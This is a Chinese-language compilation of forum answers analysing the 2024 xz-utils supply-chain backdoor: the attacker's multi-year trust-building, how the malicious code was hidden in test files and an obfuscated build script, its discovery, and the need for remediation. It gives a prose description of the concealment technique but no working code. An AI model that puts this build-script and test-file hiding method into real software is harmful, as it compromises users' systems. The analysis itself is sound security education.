我所知道的关于 xz 后门的一切?boehs.org/node/everything-i-know-about-the-xz-backdoor
我简单搬运一下大致的经过,由于 xz 库已被 Github 封禁,以下会删减原文中出现的链接。
2021 年
投毒者 JiaT75 (Jia Tan) 创建了 GitHub 帐户(目前已被封禁)。
TA 所做的第一个提交是在 libarchive 中开启一个 PR (Pull Request) 将 safe_fprint 替换为不安全的变体,这可能会给 libarchive 引入漏洞。
https://github.com/libarchive/libarchive/pull/1609?github.com/libarchive/libarchive/pull/1609
该代码未经任何讨论就被合并,并一直延续到 xz-utils 投毒事件曝光后才被讨论并修复。
https://github.com/libarchive/libarchive/pull/2101?github.com/libarchive/libarchive/pull/2101
2022 年
2022 年 4 月,Jia Tan 通过邮件列表向 xz-devel 提交了补丁。
[xz-devel] [PATCH] String to filter and filter to string?www.mail-archive.com/xz-devel@tukaani.org/msg00553.html
这个补丁无关紧要,但随后发生的事件却是,一个新角色 Jigar Kumar 出现,并开始向 xz-devel 施压要求合并此补丁。
Re: [xz-devel] [PATCH] String to filter and filter to string?www.mail-archive.com/xz-devel@tukaani.org/msg00570.html
不久之后,Jigar Kumar 开始向 Lasse Collin(从 2009 年就一直维护着 xz 的开发者)施压,要求其为 XZ 添加另一名维护者。
Re: [xz-devel] XZ for Java?www.mail-archive.com/xz-devel@tukaani.org/msg00568.html
在 Jigar Kumar 用电子邮件施压要求 Lasse Collin 添加另一名维护人员的三天之后,JiaT75 首次提交代码到 xz。自这次提交以来,TA 成为 xz 的定期贡献者(第二活跃)。目前还不清楚 TA 何时在这个存储库中受到信任。
然后,Jigar Kumar 再也没有出现过。
https://www.mail-archive.com/search?l=xz-devel@tukaani.org&q=Kumar&x=0&y=0?www.mail-archive.com/search?l=xz-devel@tukaani.org&q=Kumar&x=0&y=0
2023 年
2023 年 1 月开始 JiaT75 完全获得了信任,开始在 Github 上合并 xz 代码。
3 月份,Google oss-fuzz 项目中的主要联系电子邮件从 Lasse Collin 的变更为 JiaT75 的。
随后,JiaT75 对一些代码进行了提交,这些代码最初是由 Hans Jansen 在 6 月份编写的,但人们误以为是 Lasse Collin 的作品。
Hans Jansen 的账户似乎是专门为了创建这个拉取请求而建立的。其在此之前和之后的活动非常少。他们后来会推动将受损版本的 xz 包含在 Debian 中。
在 7 月份,由于上述变更引入的问题,一个 PR 在 oss-fuzz 项目中被打开,似乎是故意为之,以掩盖即将引入的恶意变更。
2024 年
oss-fuzz 开启了一个 PR,将项目的 URL 从 http://tukaani.org/xz/ 更改为 http://xz.tukaani.org/xz-utils/。http://tukaani.org 托管在 5.44.245.25 的一家芬兰的托管公司。与此同时,xz 子域名指向GitHub页面。这增加了 JiaT75 对项目的控制程度。
https://github.com/google/oss-fuzz/pull/11587?github.com/google/oss-fuzz/pull/11587
随后,JiaT75 向 xz 仓库添加了一个包含执行此后门所需最后步骤的提交。
突然开始的包含推送
Hans Jansen 开启了一个请求,要求将易受攻击的 xz-utils 版本包含进 Debian 中。
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1067708?bugs.debian.org/cgi-bin/bugreport.cgi?bug=1067708?bugs.debian.org/cgi-bin/bugreport.cgi?bug=1067708
这个请求在其创建 Debian 账户的同一周提出。该账户在各种低流量的仓库中创建了几个类似的“更新”请求以建立信誉,然后再提出这个请求。
还有一些其他可疑的、匿名的姓名+数字账户(以前几乎没有活动)也在推进将受损版本 xz-utils 包含进 Debian 中,包括 misoeater91 和 krygorin4545。
甚至一名 1password 的员工也向 go 库发出了 PR 请求,要求将 xz 库升级到易受攻击的版本。
https://github.com/jamespfennell/xz/pull/2?github.com/jamespfennell/xz/pull/2
虽然该名员工随后澄清,但行为突兀也不免让人怀疑是否账户身份被盗用。
feat: update vendored xz to 5.6.1 by jaredallard · Pull Request #2 · jamespfennell/xz?github.com/jamespfennell/xz/pull/2#issuecomment-2027836356


JiaT75 也没闲着,一名 Fedora 贡献者表示 JiaT75 一直在推动将后门版本的 xz 纳入 Fedora,因为它包含“很棒的新功能”。
Very annoying - the apparent author of the backdoor was in communication with me...?news.ycombinator.com/item?id=39866275
在 Ubuntu Beta 冻结的前几天, JiaT75 也试图将其引入 Ubuntu。
Bug #2059417 “Sync xz-utils 5.6.1-1 (main) from Debian unstable ...” : Bugs : xz-utils package : Ubuntu?bugs.launchpad.net/ubuntu/+source/xz-utils/+bug/2059417


发现
名为 AndresFreundTec 的工程师在测试时发现 sshd 进程的 CPU 占用很高。他在对 sshd 进行分析后发现,大量的 CPU 时间用在了 liblzma 上,并且 perf 无法定位到符号,这引起了他的警觉并开始深入调查。随后他将电子邮件发送到 oss-security 邮件列表,宣布这一发现,并尽力解释漏洞利用链。
上游 xz/liblzma 中的后门导致 ssh 服务器受损?www.openwall.com/lists/oss-security/2024/03/29/4
xz-utils 后门常见问题解答?gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
危害
上述后门常见问题解答已经很详细的描述了这个后门的调查情况。
危害简单地说,就是 AMD64(x86_64)架构的计算机上安装了 xz-utils(包括依赖,依赖 xz 的软件非常多)5.6.0 和 5.6.1 版本的,又开启了 SSH 访问的(尤其是开启了公网访问),攻击者可以直接免密登录控制计算机(也可能有其他的有待发现的漏洞)。
如果 AMD64 架构计算机已安装上述后门版本,则需要尽快降级或升级,如果同时也开启了 SSH 访问的,建议备份数据、重新安装操作系统。专治我这种不升级到最新版难受的手欠党。
使用如下命令可以查看所有直接依赖 xz-utils 库的软件包。

sudo apt-cache rdepends xz-utils

使用如下命令可以查看所有依赖 xz-utils 库的软件包

sudo apt install apt-rdepends
sudo apt-rdepends -r xz-utils

影响
目前 Github 已经封禁 xz 项目和两名贡献者,包括投毒者 JiaT75 和休假中的 Lasse Collin(这老兄大概率没参与投毒,还没休完假就被封号,也确实够惨的)。
预计今后开源社区对于贡献者的提交审查肯定会越来越严格,JiaT75 也不会是最后一个攻击者,也许还有很多隐匿的攻击者还未浮出水面。
总之,除非已经开始发安全漏洞报告了,我是不打算再手欠日常升级系统了。
我听到上一个这么热血的潜伏事件,还是艾斯奥特曼老粉潜伏艾斯吧良久,最终当选吧主,推翻火拳艾斯,重振奥特曼旗鼓的故事呢(逃
这位老哥不简单,不知道是凭借自己一己之力谋划了三年,还是有背后相关的 APT 组织等参与。
目前也不知道其意图和目的是什么,就中道崩殂了,这个角度看略显可惜,看看之后的进展,会不会揭露。
我刚刚去搜了下,推上有位名 Yachen Liu 的老哥对整个事件进行了大致概括,还是很精彩的[1][2]:(略显遗憾的是目前github 的 xz 仓库给关掉了,没法去看看具体细节)
攻击者 JiaT75 (Jia Tan) 于 2021 年注册了 GitHub 账号,之后积极参与 xz 项目的维护,并逐渐获取信任,获得了直接 commit 代码的权利。JiaT75 在最近几个月的一次 commit 中,悄悄加入了 bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma 两个看起来人畜无害的测试用二进制数据,然而在编译脚本中,在特定条件下会从这两个文件中读取内容对编译结果进行修改,致使编译结果和公开的源代码不一致。目前初步的研究显示,注入的代码会使用 glibc 的 IFUNC 去 Hook OpenSSH 的 RSA_public_decrypt 函数,致使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。(具体细节还在分析中)只要是同时使用了 liblzma 和 OpenSSH 的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。受影响的 xz-utils 包已经被并入 Debian testing 中进行测试,攻击者同时也在尝试并入 fedora 和 ubuntu。
幸运的是,注入的代码似乎存在某种 Bug,导致特定情况下 sshd 的 CPU 占用飙升。被一位安全研究人员注意到了,顺藤摸瓜发现了这个阴谋并报告给 oss-security,致使此事败漏。
如果不是因为这个 Bug,那么这么后门有不低的概率被并入主流发行版的 stable 版本,恐怕会是一件前所未有的重大安全事件。
另外从一些细节能看出来攻击者非常用心:
攻击者抢在 ubuntu beta freeze 的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。xz-utils 项目的原维护者 Lasse Collin (Larhzu),有着定期进行 internet breaks 的习惯,而且最近正在进行,导致这些变动他并没有 review 的机会,即使到现在也没能联系上他本人。这可能也是攻击者选定 xz-utils 项目的原因之一。
这是漏洞的具体细节[3][4],查看具体被影响系统和更新信息可以到这里[5]。
具体来说,在 xz 的上游 tarballs 中,从 5.6.0 版本开始,发现了恶意代码,通过一系列复杂的混淆,liblzma的构建过程从源代码中的一个伪装的测试文件中提取出一个预构建的对象文件,然后用于修改liblzma代码中的特定功能。这导致生成的liblzma库可以被任何链接到该库的软件使用,截取并修改与该库的数据交互。(不清楚的可以 xz --version 手动检查下,做降级处理。我看这个问题下还有为老哥提供了脚本去排查是否存在后门,也可以同步用用)
我预感这绝对是未来 "APT 攻击"教材中的一项经典案例,细节丰富,实在难得。
然而,棋差一着的原因居然出自一位测试老哥(实际是做数据库PostgreSQL开发的),他发现 CPU 资源占用过高,对sshd进行了性能剖析,显示大量的CPU时间在liblzma中,而perf无法将其归因于一个符号,接着定位到了这个问题,也是有点有趣。
我之前机翻了下 AndresFreundTec[6] 的内容,这里理解成了机器噪音,但实际上“reduce noise”指的不是实际的机器或物理噪音,而更可能是指减少可能干扰微基准测试的其他系统活动或进程,也就是那些干扰测试结果的非控制变量或无关因素,这样解释才更为合理。


目前 github 给 xz 仓库停掉了,实在不该,不然可以看看更多提交细节[7]。
去年还发生过另外一起事件,就是 Notepad++ 的作者威胁要攻击使用者。
开源并不意味着安全,比如之前还发生的log4j漏洞事件,使其能够加载远程代码执行,来实现其特殊构造的请求,进而触发 Apache Log4j2 中的远程代码执行漏洞。
还有之前 Ant Design 的事故[8],也是类似。
开源软件与开源软件以及无数开源库之间漫长复杂的引用,导致供应链投毒成为了可能并愈发常见的攻击手段,而对这些进行全面而详细的审核又是件不容易的事,成本很高,也不一定保证能检出,对于使用者来说确实算是个麻烦。
只能说无论是作者还是使用者都得谨慎为之,开源意味着更加公开透明,但不意味着没有后门,不意味着安全,这两年越来越堵供应链投毒的案例出现了。




参考^https://boehs.org/node/everything-i-know-about-the-xz-backdoor^https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27^https://www.openwall.com/lists/oss-security/2024/03/29/4^https://nvd.nist.gov/vuln/detail/CVE-2024-3094^https://repology.org/project/xz/versions^https://mastodon.social/@AndresFreundTec/112180406142695845^https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0^https://github.com/ant-design/ant-design/issues/13098
这是一个精心策划的,隐蔽时长两年半的阴谋。
我尝试用非程序员也能看懂的方式给大家捋一下。
伪装
Jia Tan大约在2021年底注册Github(目前世界上最大的开源社区),然后在2022年开始向xz项目(Linux系统中使用最多的压缩工具,绝大多数Linux里面绝对会有xz包)提交代码,一直兢兢业业地改代码修BUG:


干了一段时间之后,大约在2023年初,Jia Tan获得了项目所有者Lasse Collin的信任,开始拥有自己批准代码的权力。
之后的一年,Jia Tan继续频繁的提交代码。伪装成一个称职的项目维护者。


渗透
大约在今年2月份,Jia Tan开始实行他的计划。他往项目中添加了几个测试文件。


据他自称,这些测试文件中包含了一些测试用的“随机数据”,和一些无法被解压的“损坏数据”。为了隐蔽,大多数测试数据都是正常无害的。
然后,Jia Tan往编译脚本中加入了一些私货。
要了解什么是编译脚本,必须了解一些计算机编程的基本概念:
计算机看不懂人的语言,也看不懂编程语言写的代码。计算机能看得懂的是机械码,简单理解就是计算机只能看懂0和1。现在的编程语言,写的都是人看懂的代码。需要有一个编译器负责将这些代码翻译成机械码。在编程的过程中,基本都会把代码按功能分开在不同的文件里。这就需要一个编译脚本,来告诉编译器,去哪里才能找到这些代码。简单理解,就是需要一个“目录”。绝大多数项目,由于文件众多,这些编译脚本都是通过某种方式自动生成的,自动生成出来的脚本又臭又长,不太容易看得懂,也一般没人会去看。对于不同的系统构架来说,系统环境不一样,文件存放的位置不一样,所以编译脚本也不一样。一般来说编译脚本需要根据系统来生成。这些生成可以有用户手动操作,而很多安装包为了方便用户使用,会附带一份已经针对该系统生成好的编译脚本。由于编译脚本都是根据系统生成的,一般开源项目中,你能看到的源代码中的编译脚本,和你系统里下载下来实际使用的编译脚本,基本都是不一样的。
Jia Tan往某些系统的安装包里的编译脚本中,添加了一些私货,告诉编译器,对于某些函数来说,不要去源代码中找代码来编译,而是直接从他上传的那些“测试文件”里面,找到相应的编译好的机械码就好了。至此,完成渗透。
这个手段隐蔽就隐蔽在:
如果你去查看开源库中的源代码,那么这份源代码没有任何问题。已经编译好的恶意代码存放在所谓的“测试文件”里,在人类看来,编译好的代码本身就是“乱码”,与“随机数据”没有什么区别。恶意修改来注入恶意代码的是编译脚本。编译脚本一般是自动生成,又臭又长,也基本没有人会去看。而且由于是根据系统环境自动生成,你拿到的那份编译脚本,和开源库中包含的那份,本来就会不一样。遭到恶意修改的编译脚本中,修改的部分进行过代码混淆。所谓代码混淆,就是将代码替换成人类很难看懂,但是计算机执行起来是相同的部分。(用现实举例子,就是说一些类似“我很难不得不怀疑你所说的话中是否有非人类不能辨别的错误的部分”的话)暴露
经过多年的潜伏Jia Tan,用如此隐蔽的手段完成了注入,本来已经接近成功了。事实上,版本发布了一个多月了,甚至从5.6.0升级到了5.6.1也没人察觉到有什么问题。
最后问题的发现要归功于Andres Freund,他在测试自己的代码的时候,发现“sshd”(远程登陆指令)的运行时间比平常多了0.5秒。

before:
nonexistant@...alhost: Permission denied (publickey).

before:
real	0m0.299s
user	0m0.202s
sys	0m0.006s

after:
nonexistant@...alhost: Permission denied (publickey).

real	0m0.807s
user	0m0.202s
sys	0m0.006s

当他用调试器检查的时候,发现无法找到相应的源代码。(编译时,编译器会保留源代码和编译后的机械码之间的链接,调试的时候就能看到是哪段代码出现了问题,而Jia Tan注入的是已经编译好的机械码,所以找不到源代码)
他不断溯源,最终让他发现了是xz遭到恶意注入。
也就是说,如果Jia Tan注入的代码再高明些,运行效率再高一点的话,直到现在这个后门也不会被发现。甚至可能永远都不会有人发现。
之前我听有人说,开源系统中有很多NSA等组织注入的后门,本来我是不太信的,现在我感觉他说的很有可能是真的。
供应链危机越来越多了。
最近奇安信实验室也找到了一堆恶意pypi包,比如requestss这种假名字包,然后这些包下载下来就会被用来查找用户的隐私信息(就是浏览器里面保存的账号和密码等等)。
而这些代码其实很难直接进入用户的代码里面,因为pycharm都有自动补全等等,靠用户手滑打错的概率就和挖乌龟币的收益差不多。
那他们是怎么做的呢?
最典型就是水平高的就是加入一个开源项目,然后再引入有毒包(或者有毒子包)。
水平低就发csdn或者github上面做那种新生入门教程,在里面植入有毒包或者有毒子包。
目前奇安信用的是动态分析的方法,就是把这个包下载下来,然后hook系统api看看有没有人访问相应的隐私文件等等。
这个方法挺好用的,但是肯定不能覆盖所有的情况。
比如题目的攻击是对安全包的代码替换,那么在动态分析过程中就比较难发现。
假设有一个恶意安全包,是深度学习相关工具。他不偷隐私数据,不会访问系统文件,但是他偷实验结果和源代码。
但是很多好包同样存在需要api才能访问的功能等等,那么很难从行为上来区分两种行为。
而静态分析也有一些棘手的地方,黑客往往会将代码加密,然后调用url获取密钥再解密。
那么恶意代码本身就是隐藏的。
那为什么不能直接检测有没有存在解密的函数?这是由于加密包比如cryptography等等,都会存在测试函数,而测试函数中必然会包含加解密函数。
再引用一下我另外一篇回答为什么漏洞无法找完?
这是由于赖斯定理(图灵停机定理推导出来)说明了可以构造一个无法在有限时间内识别完是否安全的代码。
而同时又由于冯洛伊曼架构无法区分数据和代码,从而导致只需要引入外部数据即可转为代码,从而实现入侵。
我再来说一下深度学习检测和静态分析的结果的差异,为什么深度学习检测的效果看上去更好,可以很容易找到静态分析难以发现的问题。这问题影响了很多安全研究人员的信心,很大一部分加入了ai教。
这是由于人类的代码空间的分布的不均匀性,包括写出来漏洞也存在不均匀性。
我举个例子,我设置一个后门的开启条件是输入hash值为0的字符串,那么无论是模糊测试还是符号执行(模糊执行可以通过人工查看代码覆盖率来解决这个问题,当然也有更多巧妙的方法来实现代码覆盖率正常,但是无法真正执行的办法),还是静态分析显然都无法分析到这个代码可以执行。
而深度学习一看,什么?求hash值等于0一看就莫名其妙的,判定为后门吧。
这种差异来源于人类自身代码水平,是一种很弱的差异,很难抵抗被刻意构造的病毒代码。
所以说不能说gpt4看上去足够聪明了,可以直接帮我们看源码来找后门,我们就不需要传统的sat,模糊执行,动态分析等等。
据称这个被人为植入的后门相当隐蔽,混淆的厉害,能算是一次供应链攻击了[1][2],毕竟xz-utils在各个Linux系统里被大量使用,近乎不可缺少。目前就已有的信息来看,其中一个显著的影响是,使用RSA密钥认证的SSH可能被绕过从而让黑客夺权:(我个人的理解)系统里的OpenSSH后台进程会间接使用到liblzma库,植入的后门能改变liblzma库的编译过程,加入恶意代码,从而截取并篡改直接或间接使用liblzma库的进程通信数据。[2][3]
漏洞编号CVE-2024-3094,CVSS v3评分10分满分,好家伙,和2021年底的Log4J有的一拼……[2]
要应对,赶紧的升到去除了后门的版本,或者降到旧的版本。[4][5]然后,等着上游仓库那块处理……
本人使用Debian bullseye和bookworm,今天(3月30号)中午刷到这问题赶紧去搜了下apt仓库,应该是没有受影响。。(被投毒的xz-utils版本号是5.6.0和5.6.1)[2][5][6]


Debian bullseye


Debian bullseye
目前,GitHub源代码仓库tukaani-project/xz已经被封停。
上游源代码仓库,能看见Jia Tan的commit记录:
下午3点更新:
这份README文档[4]:
下面已经有很多讨论。这个被曝光的后门的始作俑者Jia Tan (https://github.com/JiaT75)(GitHub UID 78042786)曾经参与修复了一个在2022年被爆出的“任意文件写入”漏洞CVE-2022-1271[7][8],因此有人怀疑xz-utils的5.4系版本可能也不安全,提议降级到5.3.1[9][10]
下午6点更新:
有传言(接近胡扯的那种)宣称Jia Tan和龙芯架构的研发工作可能存在某种关联[11][12]。来自推特社区的一些反馈显示,loongarch不背锅。。。[13]
(转述内容删了)目前还没有看到关于这个后门漏洞的进一步进展。[4][10][11][14]
晚上9点更新:
xz项目的主要维护者Lasse Collin发文:
参考^Sysdig.com博客文章 https://sysdig.com/blog/cve-2024-3094-detecting-the-sshd-backdoor-in-xz-utils/^abcdRedhat官网关于CVE-2024-3094的记录 https://access.redhat.com/security/cve/CVE-2024-3094^HACKADAY博客文章 https://hackaday.com/2024/03/29/security-alert-potential-ssh-backdoor-via-liblzma/^abcGitHub用户thesamesam关于xz-utils后门的总结文档 https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27^abDARKREADING博客文章 https://www.darkreading.com/vulnerabilities-threats/are-you-affected-by-the-backdoor-in-xz-utils^Launchpad Ubuntu APT软件包托管仓库 https://code.launchpad.net/ubuntu/+source/xz-utils^CVE-2022-1271漏洞描述 https://www.rapid7.com/db/vulnerabilities/debian-cve-2022-1271/^修复CVE-2022-1271的Commit记录 https://git.tukaani.org/?p=xz.git;a=commit;h=487c77d48760564b1949c5067630b675b87be4de^Debian讨论帖 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024^abhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27?permalink_comment_id=5006023#gistcomment-5006023^abhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27?permalink_comment_id=5006123#gistcomment-5006123^“互联网档案馆”对tukaani-project/xz第86号Pull Request的快照记录 https://web.archive.org/web/20240329180818/https://github.com/tukaani-project/xz/pull/86^https://pic4.zhimg.com/v2-dda6e7fce658152906f535173cec507b_r.png^https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27?permalink_comment_id=5006112#gistcomment-5006112
恶意植入的M4宏部分出现在了release tarball中,没有进入git仓库历史。尤其这种用autotools的老项目,一般都会在release时单独提供一个可以直接configure、make的tarball,这个过程是相对(git历史来说)不透明的。如果直接从git拉取,或者下载github自动打包的tarball,就不受影响(Arch已经暂时这么做了)。
另外,这次xz的后门似乎是针对sshd,而openssh默认是不依赖liblzma的。但一些发行版中sshd会依赖libsystemd,而libsystemd依赖liblzma。感觉systemd又要被骂一波feature creep了。。
更新:
又吃了一波瓜,这个Jia Tan几年前就开始渗透xz-utils项目,为这次后门做准备工作。后来JT在项目中的成为了release signer,最新这些版本的tarball就是由JT制作并签名的。这种经过了autoconf生成的release tarball也更方便藏匿恶意代码,因为其中生成的脚本又臭又长,往里面加东西基本没人会细看的。这或许也是JT考虑的因素之一。
xz-utils原作者lasse collin因为个人原因,没有很多时间精力管理项目,被malicious actor趁虚而入了。
这种情形,又是一个从心脏滴血漏洞开始被广泛注意的经典问题,即一些被普遍依赖的开源项目,背后却没有充足的人力用于管理维护,只有一两个人用爱发电,各种设施也比较简陋。Free software is not free。
Jia Tan大哥使用了很多小号,从一开始在libarchive里面乱提pr,到用小号对xz-tools原作者唱双簧,慢慢获取xz-tools的维护者权开始,用了两年时间,逐步把其他地方用到的xz-tools的官方主页相关的链接都搞到了已被他控制的github repo的github pages上面,最后在最近的xz-tools版本里才发动雷霆一击。
build-to-host.m4里面混淆后的代码,多段式操作,先生成第一段脚本,第一段脚本从第一个测试文件里面解密、解压出第二段脚本,第二段脚本再解密、解压第二个测试文件里真正的后门目标文件,替换本应该由C源码编译出来的那个目标文件。Jia大哥对shell应该算是精通了,只用head、tail、tr、awk等常用shell命令实现了两种简单的解密算法,和一种类似RC4的解密算法。
二进制后门目标文件里面的一些符号,包含了检测gdb断点、反反汇编、解析ELF文件、寻找并hook攻击目标函数、开放执行任意代码后门(主要功能)等功能。所有的功能的相关符号名均伪装成lzma库正常函数的,通过一个特制的lzma_allocator分配函数来调用。
可以说,Jia大哥为了隐藏这个后门花了不少功夫,而且这个后门也并不是直接开一把“万能钥匙”,而是为了通过在特定条件下通过特殊的rsa公钥在目标的sshd中执行任意代码,由于sshd的权限一般很高,还是可以实现大范围入侵。
好在那个测试者看出了ssh登录过程中的异常性能下降,否则恐怕这次攻击就成功了。
好在他没有把libarchive的权限给拿下了,否则影响面将更加恐怖,要知道,win11 23h2解压rar、7z的功能,使用的是libarchive。不过,也可能是他在libarchive里面看到了微软的人,心虚了?虽然微软阿三化得厉害,但微软的标准化测试流程还是在的。值得一提的是,这次这个发现后门的PostgreSQL开发者,就是一个微软的雇员。
不过他提的那个libarchive输出错误日志相关的pr,还是有问题的,原本没什么漏洞的逻辑加了个潜在的漏洞。
另外,既然有一些发行版已经打包了有问题版本,说不定Jia Tan大哥也完成了一个他的初始目的 - 拿到这些发行版包维护者机器的权限。
[收藏本文] 【下载本文】
   科技知识 最新文章
《消失的问界里》为什么网传华为选择大面积
特斯拉万人大裁员涉及中国市场,销售部门是
媒体报道「特斯拉一天内失去 2 个高管和 10
去年是「大模型元年」,今年会是「AI应用落
2024 年人工智能方向的就业前景怎么样?
如何评价小米汽车SU7全球首例无故抛锚?
如何评价比亚迪与大疆合作发布的车载无人机
如何看待波音「吹哨人」遗言曝光:如果我出
电动汽车为什么一下爆发了?
怎么看待华为太空宽带计划?
上一篇文章      下一篇文章      查看所有文章
加:2024-04-01 13:24:30  更:2024-04-01 13:28:15 
 
 
股票涨跌实时统计 涨停板选股 分时图选股 跌停板选股 K线图选股 成交量选股 均线选股 趋势线选股 筹码理论 波浪理论 缠论 MACD指标 KDJ指标 BOLL指标 RSI指标 炒股基础知识 炒股故事
网站联系: qq:121756557 email:121756557@qq.com  天天财汇